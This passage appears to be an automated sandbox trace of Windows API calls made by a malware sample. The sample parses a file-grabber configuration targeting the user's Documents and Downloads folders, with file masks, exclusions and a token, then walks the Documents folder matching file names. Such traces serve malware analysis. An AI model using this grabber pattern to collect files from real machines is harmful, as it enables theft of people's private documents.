returned=":%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.996] lstrlenW (lpString="documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 201 [0270.996] LocalAlloc (uFlags=0x40, uBytes=0x212) returned 0x6fd570 [0270.996] StrCpyW (in: psz1=0x6bf278, psz2="documents" | out: psz1="documents") returned="documents" [0270.997] LocalFree (hMem=0x6fd570) returned 0x0 [0270.997] lstrlenW (lpString="%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 191 [0270.997] LocalAlloc (uFlags=0x40, uBytes=0x17e) returned 0x6fd570 [0270.997] StrStrW (lpFirst="%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.997] lstrlenW (lpString="%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 191 [0270.997] LocalAlloc (uFlags=0x40, uBytes=0x1fe) returned 0x6fd6f8 [0270.997] StrCpyW (in: psz1=0x6fd570, psz2="%USERPROFILE%\\Documents\\" | out: psz1="%USERPROFILE%\\Documents\\") returned="%USERPROFILE%\\Documents\\" [0270.997] LocalFree (hMem=0x6fd6f8) returned 0x0 [0270.997] lstrlenW (lpString="*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 166 [0270.997] LocalAlloc (uFlags=0x40, uBytes=0x14c) returned 0x6fd6f8 [0270.997] StrStrW (lpFirst="*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.997] lstrlenW (lpString="*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 166 [0270.997] LocalAlloc (uFlags=0x40, uBytes=0x1cc) returned 0x6fd850 [0270.997] StrCpyW (in: psz1=0x6fd6f8, psz2="*.txt,*.jpg" | out: psz1="*.txt,*.jpg") returned="*.txt,*.jpg" [0270.998] LocalFree (hMem=0x6fd850) returned 0x0 [0270.998] lstrlenW (lpString="*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 154 [0270.998] LocalAlloc (uFlags=0x40, uBytes=0x134) returned 0x6fd850 [0270.998] StrStrW (lpFirst="*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.998] lstrlenW (lpString="*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 154 [0270.998] LocalAlloc (uFlags=0x40, uBytes=0x1b4) returned 0x6fd990 [0270.998] StrCpyW (in: psz1=0x6fd850, psz2="*windows*,*recycle*" | out: psz1="*windows*,*recycle*") returned="*windows*,*recycle*" [0270.998] LocalFree (hMem=0x6fd990) returned 0x0 [0270.998] lstrlenW (lpString="6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 134 [0270.998] LocalAlloc (uFlags=0x40, uBytes=0x10c) returned 0x6fd990 [0270.998] StrStrW (lpFirst="6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.998] lstrlenW (lpString="6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 134 [0270.998] LocalAlloc (uFlags=0x40, uBytes=0x18c) returned 0x6fdaa8 [0270.998] StrCpyW (in: psz1=0x6fd990, psz2="6" | out: psz1="6") returned="6" [0270.999] LocalFree (hMem=0x6fdaa8) returned 0x0 [0270.999] lstrlenW (lpString="1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 132 [0270.999] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x706e78 [0270.999] StrStrW (lpFirst="1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0270.999] lstrlenW (lpString="1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 132 [0270.999] LocalAlloc (uFlags=0x40, uBytes=0x188) returned 0x6fdaa8 [0270.999] StrCpyW (in: psz1=0x706e78, psz2="1" | out: psz1="1") returned="1" [0270.999] LocalFree (hMem=0x6fdaa8) returned 0x0 [0270.999] lstrlenW (lpString="1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 130 [0270.999] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x6fdaa8 [0271.000] StrStrW (lpFirst="1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="|") returned="|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.000] lstrlenW (lpString="1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 130 [0271.000] LocalAlloc (uFlags=0x40, uBytes=0x184) returned 0x6fdbb8 [0271.000] StrCpyW (in: psz1=0x6fdaa8, psz2="1" | out: psz1="1") returned="1" [0271.000] LocalFree (hMem=0x6fdbb8) returned 0x0 [0271.000] lstrlenW (lpString="files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 128 [0271.000] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x6fdbb8 [0271.000] StrStrW (lpFirst="files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0271.000] lstrlenW (lpString="files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 128 [0271.000] LocalAlloc (uFlags=0x40, uBytes=0x180) returned 0x6fdcc0 [0271.000] StrCpyW (in: psz1=0x6fdbb8, psz2="files" | out: psz1="files") returned="files" [0271.001] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.001] LocalAlloc (uFlags=0x40, uBytes=0x28000) returned 0x716f88 [0271.001] StrToIntW (lpSrc="6") returned 6 [0271.001] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.001] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f4848 [0271.001] lstrlenW (lpString="%USERPROFILE%\\Documents\\") returned 24 [0271.001] StrStrW (lpFirst="USERPROFILE%\\Documents\\", lpSrch="%") returned="%\\Documents\\" [0271.001] lstrlenW (lpString="USERPROFILE%\\Documents\\") returned 23 [0271.001] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x6bea98 [0271.001] StrCpyW (in: psz1=0x6f4848, psz2="USERPROFILE" | out: psz1="USERPROFILE") returned="USERPROFILE" [0271.002] LocalFree (hMem=0x6bea98) returned 0x0 [0271.002] GetEnvironmentVariableW (in: lpName="USERPROFILE", lpBuffer=0x6fdcc0, nSize=0x208 | out: lpBuffer="") returned 0x12 [0271.002] lstrlenW (lpString="\\Documents\\") returned 11 [0271.002] lstrlenW (lpString="C:\\Users\\kEecfMwgj") returned 18 [0271.002] LocalAlloc (uFlags=0x40, uBytes=0x13a) returned 0x6fe0d8 [0271.002] StrCpyW (in: psz1=0x6f4ec0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.002] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.002] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\*"), lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x961e3370, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x961e3370, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0271.002] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794cf490, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x961e3370, ftLastAccessTime.dwHighDateTime=0x1d8a744, ftLastWriteTime.dwLowDateTime=0x961e3370, ftLastWriteTime.dwHighDateTime=0x1d8a744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="..", cAlternateFileName="")) returned 1 [0271.005] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x52ec2e80, ftCreationTime.dwHighDateTime=0x1d84467, ftLastAccessTime.dwLowDateTime=0x9cc77990, ftLastAccessTime.dwHighDateTime=0x1d857e7, ftLastWriteTime.dwLowDateTime=0x9cc77990, ftLastWriteTime.dwHighDateTime=0x1d857e7, nFileSizeHigh=0x0, nFileSizeLow=0x14e5f, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="-_S3eRZhexq5dU.xlsx", cAlternateFileName="-_S3ER~1.XLS")) returned 1 [0271.005] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.005] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.005] lstrlenW (lpString="-_S3eRZhexq5dU.xlsx") returned 19 [0271.005] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.005] LocalAlloc (uFlags=0x40, uBytes=0x160) returned 0x6fe220 [0271.005] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.005] lstrlenW (lpString="*.lnk") returned 5 [0271.005] lstrlenW (lpString="*.lnk") returned 5 [0271.005] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.005] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.006] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.006] PathMatchSpecW (pszFile="-_S3eRZhexq5dU.xlsx", pszSpec="*.lnk") returned 0 [0271.006] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.006] LocalFree (hMem=0x6fe220) returned 0x0 [0271.007] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9986340, ftCreationTime.dwHighDateTime=0x1d84ef2, ftLastAccessTime.dwLowDateTime=0x89fec4d0, ftLastAccessTime.dwHighDateTime=0x1d88ad2, ftLastWriteTime.dwLowDateTime=0x89fec4d0, ftLastWriteTime.dwHighDateTime=0x1d88ad2, nFileSizeHigh=0x0, nFileSizeLow=0xdcd2, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="1jA0rCm4cXw.xlsx", cAlternateFileName="1JA0RC~1.XLS")) returned 1 [0271.007] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.007] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.007] lstrlenW (lpString="1jA0rCm4cXw.xlsx") returned 16 [0271.007] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.007] LocalAlloc (uFlags=0x40, uBytes=0x15a) returned 0x6fe220 [0271.007] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.007] lstrlenW (lpString="*.lnk") returned 5 [0271.007] lstrlenW (lpString="*.lnk") returned 5 [0271.007] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.007] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.008] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.008] PathMatchSpecW (pszFile="1jA0rCm4cXw.xlsx", pszSpec="*.lnk") returned 0 [0271.008] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.008] LocalFree (hMem=0x6fe220) returned 0x0 [0271.008] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41f46140, ftCreationTime.dwHighDateTime=0x1d88cdf, ftLastAccessTime.dwLowDateTime=0x63899f10, ftLastAccessTime.dwHighDateTime=0x1d89242, ftLastWriteTime.dwLowDateTime=0x63899f10, ftLastWriteTime.dwHighDateTime=0x1d89242, nFileSizeHigh=0x0, nFileSizeLow=0x7fc3, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="1MDPz5 -UBQYB.pptx", cAlternateFileName="1MDPZ5~1.PPT")) returned 1 [0271.008] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.009] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.009] lstrlenW (lpString="1MDPz5 -UBQYB.pptx") returned 18 [0271.009] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.009] LocalAlloc (uFlags=0x40, uBytes=0x15e) returned 0x6fe220 [0271.009] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.009] lstrlenW (lpString="*.lnk") returned 5 [0271.009] lstrlenW (lpString="*.lnk") returned 5 [0271.009] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.009] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.009] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.010] PathMatchSpecW (pszFile="1MDPz5 -UBQYB.pptx", pszSpec="*.lnk") returned 0 [0271.010] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.010] LocalFree (hMem=0x6fe220) returned 0x0 [0271.010] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee33c320, ftCreationTime.dwHighDateTime=0x1d88e05, ftLastAccessTime.dwLowDateTime=0x54a81f40, ftLastAccessTime.dwHighDateTime=0x1d8902a, ftLastWriteTime.dwLowDateTime=0x54a81f40, ftLastWriteTime.dwHighDateTime=0x1d8902a, nFileSizeHigh=0x0, nFileSizeLow=0x156f4, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="1PdEpLaDsq.docx", cAlternateFileName="1PDEPL~1.DOC")) returned 1 [0271.010] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.010] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.011] lstrlenW (lpString="1PdEpLaDsq.docx") returned 15 [0271.011] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.011] LocalAlloc (uFlags=0x40, uBytes=0x158) returned 0x6fe220 [0271.011] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.011] lstrlenW (lpString="*.lnk") returned 5 [0271.011] lstrlenW (lpString="*.lnk") returned 5 [0271.011] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.011] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.011] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.011] PathMatchSpecW (pszFile="1PdEpLaDsq.docx", pszSpec="*.lnk") returned 0 [0271.012] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.012] LocalFree (hMem=0x6fe220) returned 0x0 [0271.012] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbe670d0, ftCreationTime.dwHighDateTime=0x1d896dd, ftLastAccessTime.dwLowDateTime=0x668c6b10, ftLastAccessTime.dwHighDateTime=0x1d8a607, ftLastWriteTime.dwLowDateTime=0x668c6b10, ftLastWriteTime.dwHighDateTime=0x1d8a607, nFileSizeHigh=0x0, nFileSizeLow=0x768d, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="3rgSASO1U8Xoy.ppt", cAlternateFileName="3RGSAS~1.PPT")) returned 1 [0271.012] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.012] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.012] lstrlenW (lpString="3rgSASO1U8Xoy.ppt") returned 17 [0271.012] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.012] LocalAlloc (uFlags=0x40, uBytes=0x15c) returned 0x6fe220 [0271.013] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.013] lstrlenW (lpString="*.lnk") returned 5 [0271.013] lstrlenW (lpString="*.lnk") returned 5 [0271.013] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.013] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.013] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.013] PathMatchSpecW (pszFile="3rgSASO1U8Xoy.ppt", pszSpec="*.lnk") returned 0 [0271.014] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.014] LocalFree (hMem=0x6fe220) returned 0x0 [0271.014] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe16f8b30, ftCreationTime.dwHighDateTime=0x1d8a3ed, ftLastAccessTime.dwLowDateTime=0x10c88fe0, ftLastAccessTime.dwHighDateTime=0x1d8a69f, ftLastWriteTime.dwLowDateTime=0x10c88fe0, ftLastWriteTime.dwHighDateTime=0x1d8a69f, nFileSizeHigh=0x0, nFileSizeLow=0x1810f, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="4bHJZNkkIPlTP5KF-x.xls", cAlternateFileName="4BHJZN~1.XLS")) returned 1 [0271.014] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.014] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.014] lstrlenW (lpString="4bHJZNkkIPlTP5KF-x.xls") returned 22 [0271.014] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.014] LocalAlloc (uFlags=0x40, uBytes=0x166) returned 0x6fe220 [0271.015] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.015] lstrlenW (lpString="*.lnk") returned 5 [0271.015] lstrlenW (lpString="*.lnk") returned 5 [0271.015] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.015] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.015] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.015] PathMatchSpecW (pszFile="4bHJZNkkIPlTP5KF-x.xls", pszSpec="*.lnk") returned 0 [0271.016] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.017] LocalFree (hMem=0x6fe220) returned 0x0 [0271.017] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x270026e0, ftCreationTime.dwHighDateTime=0x1d8a69c, ftLastAccessTime.dwLowDateTime=0x41f61df0, ftLastAccessTime.dwHighDateTime=0x1d8a715, ftLastWriteTime.dwLowDateTime=0x41f61df0, ftLastWriteTime.dwHighDateTime=0x1d8a715, nFileSizeHigh=0x0, nFileSizeLow=0x8e8c, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="5t-_Ue7zxVI.ppt", cAlternateFileName="5T-_UE~1.PPT")) returned 1 [0271.017] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.017] StrCpyW (in: psz1=0x6fdcc0, psz2="C:\\Users\\kEecfMwgj\\Documents\\" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\") returned="C:\\Users\\kEecfMwgj\\Documents\\" [0271.017] lstrlenW (lpString="5t-_Ue7zxVI.ppt") returned 15 [0271.017] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\") returned 29 [0271.017] LocalAlloc (uFlags=0x40, uBytes=0x158) returned 0x6fe220 [0271.017] StrStrW (lpFirst="*.lnk", lpSrch=",") returned 0x0 [0271.017] lstrlenW (lpString="*.lnk") returned 5 [0271.017] lstrlenW (lpString="*.lnk") returned 5 [0271.017] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x6ef5b8 [0271.017] StrCpyW (in: psz1=0x6fdcc0, psz2="*.lnk" | out: psz1="*.lnk") returned="*.lnk" [0271.018] LocalFree (hMem=0x6ef5b8) returned 0x0 [0271.018] PathMatchSpecW (pszFile="5t-_Ue7zxVI.ppt", pszSpec="*.lnk") returned 0 [0271.019] LocalFree (hMem=0x6fdcc0) returned 0x0 [0271.019] LocalFree (hMem=0x6fe220) returned 0x0 [0271.019] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24f7b0 | out: lpFindFileData=0x24f7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd3f8df90, ftCreationTime.dwHighDateTime=0x1d8a502, ftLastAccessTime.dwLowDateTime=0x1410dcd0, ftLastAccessTime.dwHighDateTime=0x1d8a73e, ftLastWriteTime.dwLowDateTime=0x1410dcd0, ftLastWriteTime.dwHighDateTime=0x1d8a73e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6ca51c, dwReserved1=0x6ca228, cFileName="99nqWsxhAXjvwd4zunw7", cAlternateFileName="99NQWS~1")) returned 1 [0271.019] LocalAlloc (uFlags=0x40, uBytes=0x410) returned 0x6fdcc0 [0271.019] PathCombineW (in: pszDest=0x6fdcc0, pszDir="C:\\Users\\kEecfMwgj\\Documents\\", pszFile="99nqWsxhAXjvwd4zunw7" | out: pszDest="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" [0271.019] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.019] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.019] StrStrW (lpFirst="*windows*,*recycle*", lpSrch=",") returned=",*recycle*" [0271.020] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.020] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x6b9738 [0271.020] StrCpyW (in: psz1=0x6fe220, psz2="*windows*" | out: psz1="*windows*") returned="*windows*" [0271.020] LocalFree (hMem=0x6b9738) returned 0x0 [0271.020] PathMatchSpecW (pszFile="99nqWsxhAXjvwd4zunw7", pszSpec="*windows*") returned 0 [0271.020] LocalFree (hMem=0x6fe220) returned 0x0 [0271.020] lstrlenW (lpString="*windows*,*recycle*") returned 19 [0271.020] LocalAlloc (uFlags=0x40, uBytes=0x126) returned 0x6fe220 [0271.020] StrStrW (lpFirst="*recycle*", lpSrch=",") returned 0x0 [0271.020] lstrlenW (lpString="*recycle*") returned 9 [0271.020] lstrlenW (lpString="*recycle*") returned 9 [0271.020] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x6fb588 [0271.020] StrCpyW (in: psz1=0x6fe220, psz2="*recycle*" | out: psz1="*recycle*") returned="*recycle*" [0271.021] LocalFree (hMem=0x6fb588) returned 0x0 [0271.021] PathMatchSpecW (pszFile="99nqWsxhAXjvwd4zunw7", pszSpec="*recycle*") returned 0 [0271.021] LocalFree (hMem=0x6fe220) returned 0x0 [0271.021] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6f50e8 [0271.021] StrCpyW (in: psz1=0x6f50e8, psz2="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" | out: psz1="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7" [0271.021] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\Documents\\99nqWsxhAXjvwd4zunw7") returned 49 